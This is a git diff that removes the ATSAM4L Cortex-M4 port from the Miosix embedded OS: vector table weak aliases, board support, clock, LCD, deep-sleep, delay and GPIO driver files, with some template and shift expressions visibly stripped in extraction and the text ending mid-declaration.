PDCA_0_Handler, - PDCA_1_Handler, - PDCA_2_Handler, - PDCA_3_Handler, - PDCA_4_Handler, - PDCA_5_Handler, - PDCA_6_Handler, - PDCA_7_Handler, - PDCA_8_Handler, - PDCA_9_Handler, - PDCA_10_Handler, - PDCA_11_Handler, - PDCA_12_Handler, - PDCA_13_Handler, - PDCA_14_Handler, - PDCA_15_Handler, - CRCCU_Handler, - USBC_Handler, - PEVC_TR_Handler, - PEVC_OV_Handler, - AESA_Handler, - PM_Handler, - SCIF_Handler, - FREQM_Handler, - GPIO_0_Handler, - GPIO_1_Handler, - GPIO_2_Handler, - GPIO_3_Handler, - GPIO_4_Handler, - GPIO_5_Handler, - GPIO_6_Handler, - GPIO_7_Handler, - GPIO_8_Handler, - GPIO_9_Handler, - GPIO_10_Handler, - GPIO_11_Handler, - BPM_Handler, - BSCIF_Handler, - AST_ALARM_Handler, - AST_PER_Handler, - AST_OVF_Handler, - AST_READY_Handler, - AST_CLKREADY_Handler, - WDT_Handler, - EIC_1_Handler, - EIC_2_Handler, - EIC_3_Handler, - EIC_4_Handler, - EIC_5_Handler, - EIC_6_Handler, - EIC_7_Handler, - EIC_8_Handler, - IISC_Handler, - SPI_Handler, - TC00_Handler, - TC01_Handler, - TC02_Handler, - TC10_Handler, - TC11_Handler, - TC12_Handler, - TWIM0_Handler, - TWIS0_Handler, - TWIM1_Handler, - TWIS1_Handler, - USART0_Handler, - USART1_Handler, - USART2_Handler, - USART3_Handler, - ADCIFE_Handler, - DACC_Handler, - ACIFC_Handler, - ABDACB_Handler, - TRNG_Handler, - PARC_Handler, - CATB_Handler, - 0, - TWIM2_Handler, - TWIM3_Handler, - LCDCA_Handler -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak HFLASHC_Handler = Default_Handler -#pragma weak PDCA_0_Handler = Default_Handler -#pragma weak PDCA_1_Handler = Default_Handler -#pragma weak PDCA_2_Handler = Default_Handler -#pragma weak PDCA_3_Handler = Default_Handler -#pragma weak PDCA_4_Handler = Default_Handler -#pragma weak PDCA_5_Handler = Default_Handler -#pragma weak PDCA_6_Handler = Default_Handler -#pragma weak PDCA_7_Handler = Default_Handler -#pragma weak PDCA_8_Handler = Default_Handler -#pragma weak PDCA_9_Handler = Default_Handler -#pragma weak PDCA_10_Handler = Default_Handler -#pragma weak PDCA_11_Handler = Default_Handler -#pragma weak PDCA_12_Handler = Default_Handler -#pragma weak PDCA_13_Handler = Default_Handler -#pragma weak PDCA_14_Handler = Default_Handler -#pragma weak PDCA_15_Handler = Default_Handler -#pragma weak CRCCU_Handler = Default_Handler -#pragma weak USBC_Handler = Default_Handler -#pragma weak PEVC_TR_Handler = Default_Handler -#pragma weak PEVC_OV_Handler = Default_Handler -#pragma weak AESA_Handler = Default_Handler -#pragma weak PM_Handler = Default_Handler -#pragma weak SCIF_Handler = Default_Handler -#pragma weak FREQM_Handler = Default_Handler -#pragma weak GPIO_0_Handler = Default_Handler -#pragma weak GPIO_1_Handler = Default_Handler -#pragma weak GPIO_2_Handler = Default_Handler -#pragma weak GPIO_3_Handler = Default_Handler -#pragma weak GPIO_4_Handler = Default_Handler -#pragma weak GPIO_5_Handler = Default_Handler -#pragma weak GPIO_6_Handler = Default_Handler -#pragma weak GPIO_7_Handler = Default_Handler -#pragma weak GPIO_8_Handler = Default_Handler -#pragma weak GPIO_9_Handler = Default_Handler -#pragma weak GPIO_10_Handler = Default_Handler -#pragma weak GPIO_11_Handler = Default_Handler -#pragma weak BPM_Handler = Default_Handler -#pragma weak BSCIF_Handler = Default_Handler -#pragma weak AST_ALARM_Handler = Default_Handler -#pragma weak AST_PER_Handler = Default_Handler -#pragma weak AST_OVF_Handler = Default_Handler -#pragma weak AST_READY_Handler = Default_Handler -#pragma weak AST_CLKREADY_Handler = Default_Handler -#pragma weak WDT_Handler = Default_Handler -#pragma weak EIC_1_Handler = Default_Handler -#pragma weak EIC_2_Handler = Default_Handler -#pragma weak EIC_3_Handler = Default_Handler -#pragma weak EIC_4_Handler = Default_Handler -#pragma weak EIC_5_Handler = Default_Handler -#pragma weak EIC_6_Handler = Default_Handler -#pragma weak EIC_7_Handler = Default_Handler -#pragma weak EIC_8_Handler = Default_Handler -#pragma weak IISC_Handler = Default_Handler -#pragma weak SPI_Handler = Default_Handler -#pragma weak TC00_Handler = Default_Handler -#pragma weak TC01_Handler = Default_Handler -#pragma weak TC02_Handler = Default_Handler -#pragma weak TC10_Handler = Default_Handler -#pragma weak TC11_Handler = Default_Handler -#pragma weak TC12_Handler = Default_Handler -#pragma weak TWIM0_Handler = Default_Handler -#pragma weak TWIS0_Handler = Default_Handler -#pragma weak TWIM1_Handler = Default_Handler -#pragma weak TWIS1_Handler = Default_Handler -#pragma weak USART0_Handler = Default_Handler -#pragma weak USART1_Handler = Default_Handler -#pragma weak USART2_Handler = Default_Handler -#pragma weak USART3_Handler = Default_Handler -#pragma weak ADCIFE_Handler = Default_Handler -#pragma weak DACC_Handler = Default_Handler -#pragma weak ACIFC_Handler = Default_Handler -#pragma weak ABDACB_Handler = Default_Handler -#pragma weak TRNG_Handler = Default_Handler -#pragma weak PARC_Handler = Default_Handler -#pragma weak CATB_Handler = Default_Handler -#pragma weak TWIM2_Handler = Default_Handler -#pragma weak TWIM3_Handler = Default_Handler -#pragma weak LCDCA_Handler = Default_Handler diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index b95a22f8b..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,43 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the suorce code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -//The Atmel provided init code is empty anyway -#define DONT_USE_CMSIS_INIT - -//Miosix replacement that provides SystemCoreClock -#include "drivers/clock.h" - -//This file in turn includes core_cm4.h -#include "CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h" - -//This register is mentioned in the document but a definition is not provided -#define PDBG (*((volatile unsigned int*)0xe0042000)) -#define PDBG_PEVC (1<<2) -#define PDBG_AST (1<<1) -#define PDBG_WDT (1<<0) diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/bsp.cpp deleted file mode 100644 index ff01bac52..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,92 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include "interfaces/gpio.h" -#include "interfaces/bsp.h" -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "board_settings.h" - -using namespace std; - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Configuring GPIO pins of USART2 to the proper alternate function - using rx = Gpio; - using tx = Gpio; - rx::alternateFunction('B'); - tx::alternateFunction('B'); - rx::mode(Mode::ALTERNATE_PULL_UP); - tx::mode(Mode::ALTERNATE); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new ATSAMSerial(defaultSerial,defaultSerialSpeed))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - //Passing an empty device won't mount fat32, but will mount romfs and devfs - basicFilesystemSetup(intrusive_ref_ptr()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - reboot(); //This board has no shutdown support, so we reboot on shutdown -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/bsp_impl.h deleted file mode 100644 index b6e6a43a0..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,52 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the suorce code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#pragma once - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -// using led_ = Gpio; -// inline void ledOn() { led_::high(); } -// inline void ledOff() { led_::low(); } -inline void ledOn() {} -inline void ledOff() {} - -/** -\} -*/ - -} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/openocd.cfg b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/openocd.cfg deleted file mode 100644 index b2aad7834..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/openocd.cfg +++ /dev/null @@ -1,14 +0,0 @@ -telnet_port 4444 -gdb_port 3333 - -source [find interface/cmsis-dap.cfg] - -# https://sourceforge.net/p/openocd/ticket/327 -cmsis_dap_backend hid - -set CHIPNAME ATSAM4LC2AA -set CPUTAPID 0x2ba01477 - -source [find target/at91sam4lXX.cfg] - -# NOTE: use "monitor adapter speed 1000" to increase SWD speed after boot diff --git a/miosix/arch/cortexM4_atsam4l/common/arch_settings.h b/miosix/arch/cortexM4_atsam4l/common/arch_settings.h deleted file mode 100644 index 25387d2ec..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/common/drivers/clock.cpp b/miosix/arch/cortexM4_atsam4l/common/drivers/clock.cpp deleted file mode 100644 index 6d638b823..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/drivers/clock.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020, 2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the suorce code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "clock.h" -#include "interfaces/arch_registers.h" -#include "board_settings.h" - -#ifdef __cplusplus -extern "C" { -#endif //__cplusplus - - -unsigned int SystemCoreClock = miosix::bootClock; - -static void configureRcfast(int frange) -{ - auto tempRcFastCfg = SCIF->SCIF_RCFASTCFG; - tempRcFastCfg &= ~SCIF_RCFASTCFG_FRANGE_Msk; - tempRcFastCfg |= SCIF_RCFASTCFG_FRANGE(frange) | SCIF_RCFASTCFG_EN; - SCIF->SCIF_UNLOCK = SCIF_UNLOCK_KEY(0xaa) | SCIF_UNLOCK_ADDR(SCIF_RCFASTCFG_OFFSET); - SCIF->SCIF_RCFASTCFG = tempRcFastCfg; //Can't do read-modify-write, confuses the lock - while((SCIF->SCIF_RCFASTCFG & SCIF_RCFASTCFG_EN)==0) ; - PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_MCCTRL_OFFSET); - PM->PM_MCCTRL=PM_MCCTRL_MCSEL_RCFAST; -} - -void SystemInit() -{ - //TODO: support more clock options in SystemInit() and getSelectedOscillator() - switch(miosix::bootClock) - { - case 4000000: - configureRcfast(0); - break; - case 8000000: - configureRcfast(1); - break; - case 12000000: - configureRcfast(2); - break; - } -} - -#ifdef __cplusplus -} -#endif //__cplusplus - -namespace miosix { - -int getSelectedOscillator() -{ - //see Table 13-8 Generic Clock Sources - switch(SystemCoreClock) - { - case 4000000: return 5; //RCFAST - case 8000000: return 5; //RCFAST - case 12000000: return 5; //RCFAST - default: return 0; //RCSYS - } -} - -void start32kHzOscillator() -{ -#ifndef USE_RC_32K_OSCILLATOR - //NOTE: at least with the 32kHz crystal I've tested (CL=12.5pF), this - //oscillator has a very noticeable jitter. Triggering with a scope on the - //rising edge, you can see it by zooming on the falling edge. Using the - //maximum current of 425nA reduced the jitter, but it is still ~200ns! - //Amplitude controlled mode is worse, don't use it. - BSCIF->BSCIF_OSCCTRL32 = BSCIF_OSCCTRL32_STARTUP(4) //64K cycles startup - | BSCIF_OSCCTRL32_SELCURR(15) //425nA (max) - | BSCIF_OSCCTRL32_MODE(1) //Crystal mode - | BSCIF_OSCCTRL32_EN1K - | BSCIF_OSCCTRL32_EN32K - | BSCIF_OSCCTRL32_OSC32EN; - while((BSCIF->BSCIF_PCLKSR & BSCIF_PCLKSR_OSC32RDY) == 0) ; -// //Output OSC32K on PA2/GCLK0 for measurement purpose -// SCIF->SCIF_GCCTRL[0].SCIF_GCCTRL = SCIF_GCCTRL_OSCSEL(1) //Output OSC32K -// | SCIF_GCCTRL_CEN; -// using gclk0 = Gpio; -// gclk0::mode(Mode::ALTERNATE); -// gclk0::alternateFunction('A'); -#else //USE_RC_32K_OSCILLATOR - //Enable RC 32kHz oscillator - BSCIF->BSCIF_UNLOCK = BSCIF_UNLOCK_KEY(0xaa) - | BSCIF_UNLOCK_ADDR(BSCIF_RC32KCR_OFFSET); - BSCIF->BSCIF_RC32KCR = BSCIF_RC32KCR_EN1K - | BSCIF_RC32KCR_EN32K - | BSCIF_RC32KCR_TCEN - | BSCIF_RC32KCR_EN; - while((BSCIF->BSCIF_PCLKSR & BSCIF_PCLKSR_RC32KRDY) == 0) ; - //Select RC 32kHz oscillator - auto tempPmcon = BPM->BPM_PMCON | BPM_PMCON_CK32S; - BPM->BPM_UNLOCK = BPM_UNLOCK_KEY(0xaa) - | BPM_UNLOCK_ADDR(BPM_PMCON_OFFSET); - BPM->BPM_PMCON = tempPmcon; //Can't do read-modify-write, confuses the lock -#endif -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/common/drivers/lcd.cpp b/miosix/arch/cortexM4_atsam4l/common/drivers/lcd.cpp deleted file mode 100644 index 08ba55ae0..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/drivers/lcd.cpp +++ /dev/null @@ -1,133 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the suorce code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "lcd.h" -#include "kernel/kernel.h" -#include - -using namespace std; - -namespace miosix { - -void initLcd(unsigned int numSegments, unsigned int contrast) -{ - //Although the hardware supports up to 40 segments, this driver is currently - //limited to 32, as we don't handle LCDCA_DRH registers. - numSegments = min(numSegments, 32u); - //Don't set higher than 31 (FCST field in peripheral register is signed and - //going negative causes peripheral startup issues) - contrast = min(contrast, 31u); - - { - FastInterruptDisableLock dLock; - PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) - | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); - PM->PM_PBAMASK |= PM_PBAMASK_LCDCA; - } - - //Make sure LCD is disabled before changing settings - LCDCA->LCDCA_CR = LCDCA_CR_DIS - | LCDCA_CR_FC2DIS - | LCDCA_CR_BSTOP; - - LCDCA->LCDCA_BCFG = LCDCA_BCFG_FCS(2); //Using FC2 for blinking - - LCDCA->LCDCA_TIM = LCDCA_TIM_CLKDIV(3) - | LCDCA_TIM_PRESC; - - LCDCA->LCDCA_CFG = LCDCA_CFG_NSU(numSegments) //LCD number of segments - | LCDCA_CFG_FCST(contrast) - | LCDCA_CFG_DUTY(0); //1/4 duty, 1/3 bias, 4 COM - - LCDCA->LCDCA_CR = LCDCA_CR_EN; - LCDCA->LCDCA_CR = LCDCA_CR_CDM; - while((LCDCA->LCDCA_SR & LCDCA_SR_EN) == 0) ; -} - -void setSegment(unsigned int com, unsigned int seg, int value) -{ - com = min(com, 3u); - seg = min(seg, 31u); - - auto reg = &LCDCA->LCDCA_DRL0; - if(value) reg[2 * com] |= 1 << seg; - else reg[2 * com] &= ~(1 << seg); -} - -void setDigit(unsigned int digit, unsigned char segments) -{ - digit = min(digit, 15u); - - unsigned int base; - switch(digit) - { - case 0: base = 2; break; //Digit 0 and 1 are swapped - case 1: base = 0; break; //to simplify PCB routing - default: base = 2 * digit; - } - //NOTE: the way segments are wired does not allow to use the character - //generator, otherwise the code would be like this - //LCDCA->LCDCA_CMCFG = LCDCA_CMCFG_STSEG(base) | LCDCA_CMCFG_TDG(1); - //LCDCA->LCDCA_CMDR = segments; - - // Mapping: - // 0 1 2 3 4 5 6 7 bits of the segments variable - // a b c d e f g dp - // base base+1 bits to change in DRL0 - // base+1 base bits to change in DRL1 - // base base+1 bits to change in DRL2 - //base base+1 bits to change in DRL3 - unsigned int s = segments; - LCDCA->LCDCA_DRL0 = (LCDCA->LCDCA_DRL0 & ~(0b11 << base)) - | ((((s >> 3) & 0b01) | ((s >> 6) & 0b10)) << base); - LCDCA->LCDCA_DRL1 = (LCDCA->LCDCA_DRL1 & ~(0b11 << base)) - | ((((s >> 4) & 0b01) | ((s >> 1) & 0b10)) << base); - LCDCA->LCDCA_DRL2 = (LCDCA->LCDCA_DRL2 & ~(0b11 << base)) - | (((segments >> 5) & 0b11) << base); - LCDCA->LCDCA_DRL3 = (LCDCA->LCDCA_DRL3 & ~(0b11 << base)) - | ((segments & 0b11) << base); -} - -const unsigned char digitTbl[] = -{ - // 0 1 2 3 4 5 6 7 8 9 - 0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f -}; - -void enableBlink(bool fast) -{ - LCDCA->LCDCA_CR = LCDCA_CR_FC2DIS - | LCDCA_CR_BSTOP; - - LCDCA->LCDCA_TIM = (LCDCA->LCDCA_TIM & ~LCDCA_TIM_FC2_Msk) - | LCDCA_TIM_FC2(fast ? 1 : 2); //Select ~500ms / ~1s rate - - LCDCA->LCDCA_CR = LCDCA_CR_FC2EN - | LCDCA_CR_BSTART; -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/deep_sleep.cpp b/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/deep_sleep.cpp deleted file mode 100644 index 521b5186d..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/deep_sleep.cpp +++ /dev/null @@ -1,75 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "miosix.h" -#include "interfaces/deep_sleep.h" - -#ifdef WITH_DEEP_SLEEP - -#ifndef WITH_RTC_AS_OS_TIMER -#error For atsam4l target, WITH_DEEP_SLEEP requires WITH_RTC_AS_OS_TIMER -#endif //WITH_RTC_AS_OS_TIMER - -using namespace std; - -namespace miosix { - -void IRQdeepSleepInit() {} - -bool IRQdeepSleep(long long int abstime) -{ - /* - * NOTE: The simplest way to support deep sleep is to use the RTC as the - * OS timer. By doing so, there is no need to set the RTC wakeup time - * whenever we enter deep sleep, as the scheduler already does, and there - * is also no need to resynchronize the OS timer to the RTC because the - * OS timer doesn't stop counting while we are in deep sleep. - * The only disadvantage on this platform is that the OS timer resolution is - * rather coarse, 1/16384Hz is ~61us, but this is good enough for many use - * cases. - * - * This is why this code ignores the wakeup absolute time parameter, and the - * only task is to write the proper sequence to enter the deep sleep state - * instead of the sleep state. - */ - return IRQdeepSleep(); -} - -bool IRQdeepSleep() -{ - SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select wait mode - __WFI(); - SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; //Unselect wait mode - //The only core clock option we support is the internal RC oscillator and - //the atsam microcontroller preserve its configuration across deep sleep - //so there's no need to restore clocks upn wakeup - return true; -} - -} //namespace miosix - -#endif //WITH_DEEP_SLEEP diff --git a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/delays.cpp deleted file mode 100644 index 846a19cba..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" -#include "board_settings.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - register const unsigned int count = bootClock / 4000; - - for(unsigned int i=0;i * - ***************************************************************************/ - -#include "gpio_impl.h" - -namespace miosix { - -void GpioBase::modeImpl(GpioPort *p, unsigned char n, Mode m) -{ - auto mm = static_cast(m); - - const unsigned char OUTPUT = 0b00001; - const unsigned char ALTERNATE = 0b00010; - const unsigned char PULLUP = 0b00100; - const unsigned char PULLDOWN = 0b01000; - const unsigned char SCHMITT_TRIG = 0b10000; //Required to function as input - - switch(mm & (PULLUP | PULLDOWN)) - { - case PULLUP: - p->GPIO_PDERC=1<GPIO_PUERS=1<GPIO_PUERC=1<GPIO_PDERS=1<GPIO_PUERC=1<GPIO_PDERC=1<GPIO_STERS=1<GPIO_STERC=1<GPIO_ODERS=1<GPIO_GPERS=1<GPIO_GPERC=1<GPIO_ODERC=1<GPIO_GPERS=1<7) af--; - - if(af & 0b001) p->GPIO_PMR0S=1<GPIO_PMR0C=1<GPIO_PMR1S=1<GPIO_PMR1C=1<GPIO_PMR2S=1<GPIO_PMR2C=1<GPIO_ODCR0S=1<GPIO_ODCR0C=1<GPIO_ODCR1S=1<GPIO_ODCR1C=1<GPIO_OSRR0S=1<GPIO_OSRR0C=1< * - ***************************************************************************/ - -#pragma once - -#include "interfaces/arch_registers.h" - -//The ATSAM header files do not provide a #define for each GPIO, rather a single -//array of structs. Thus, the port names map to indices to that array. -//To be able to access GPIOs the Miosix way, we need to add those. -//They are put outside of the miosix namespace for compatibility with other BSPs -const unsigned int GPIOA_BASE = GPIO_ADDR; -const unsigned int GPIOB_BASE = GPIO_ADDR + 1*0x200; -const unsigned int GPIOC_BASE = GPIO_ADDR + 2*0x200; - -namespace miosix { - -/* - * A note for the user: writing this driver has been harder than expected as - * the ATSAM4L documentation is quite a bit incpmplete and inconsistent, here's - * a quick list of the dark corners: - * - Figure 23-2 shows a GPIO_ODMER register, but there's no mention of it - * anywhere else in the entire document. The header file has this register - * and a comment alludes to being an open drain feature. I tried implementing - * it in the driver and tested it on PA0, but it doesn't seem to work. - * - Documentation for pullup/pulldown mentions that setting PUER=PDER=1 enables - * a "buskeeper" feature, which of course isn't documented anywhere else. - * - There are supposed to be 4 levels of drive strength, configured using two - * bits ODCR0 and ODCR1. However, the documentation of how many mA does pins - * drive only exist for ODCR0. Does ODCR1 even exist and do something? - * - The header file has more completely undocumented registers, such as LOCK - * and UNLOCK registers... - * - The datasheet lists a Schmitt trigger feature implying it's an optional - * feature for inputs, but it looks like it *must* be enabled for the GPIO to - * operate as an input - */ - -/** - * GPIO mode (INPUT, OUTPUT, ...) - * \code pin::mode(Mode::INPUT);\endcode - */ -enum class Mode 